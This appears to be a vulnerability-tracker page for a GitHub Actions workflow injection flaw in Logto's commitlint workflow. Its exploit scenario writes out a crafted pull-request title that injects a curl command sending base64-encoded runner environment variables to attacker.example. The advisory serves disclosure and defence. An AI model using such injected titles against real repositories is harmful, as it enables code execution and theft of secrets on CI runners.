EUVD-2026-62865Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
UI:N because the pull_request trigger fires automatically on PR submission with no separate maintainer action required to execute injected commands on the runner.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Lifecycle Timeline
3DescriptionCVE.org
Logto is the modern, open-source auth infrastructure for SaaS and AI apps. From 1.40.1 until 1.41.0, Logto's .github/workflows/commitlint.yml directly interpolated github.event.pull_request.title into the Commitlint on PR title step's inline echo command before piping the title to npx commitlint. A pull request title containing a single quote could terminate the echo string and append arbitrary shell commands on the GitHub Actions runner. The pull_request trigger used a read-only GITHUB_TOKEN and did not expose repository secrets, but injected commands could alter or disrupt the ephemeral workflow execution. This issue is fixed in version 1.41.0.
AnalysisAI
GitHub Actions workflow injection in Logto's commitlint.yml exposes versions 1.40.1 through 1.41.0 to arbitrary shell command execution on the project's CI/CD runner, triggered by any GitHub user who can submit a pull request with a crafted title containing shell metacharacters. The PR title was directly interpolated into an inline echo command without sanitization, allowing a single-quote character to terminate the shell string and inject attacker-controlled commands into the ephemeral runner environment. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attacker must be able to open a pull request against the Logto GitHub repository (logto-io/logto). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The NVD-assigned CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L) scores 6.3 Medium. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker opens a pull request against the public Logto GitHub repository with a title such as `feat: update' && curl https://attacker.example/c2?d=$(env | base64 -w0) && echo '` - the embedded single quotes terminate and re-open the echo string while the middle payload executes as a separate shell command on the Actions runner. Because the `pull_request` trigger fires automatically on PR creation without maintainer approval, the attacker need only submit the PR to trigger execution; no write access to the repository or elevated GitHub permissions are required beyond possessing a GitHub account. |
| Remediation | Vendor-released patch: v1.41.0. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Path traversal in @logto/tunnel (versions <= 0.3.8) exposes arbitrary file read to any network peer that can reach the t
Catastrophic ReDoS in Logto's email subaddressing blocklist allows unauthenticated remote attackers to stall the Node.js
Same weakness CWE-94 – Code Injection
View allSame technique Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today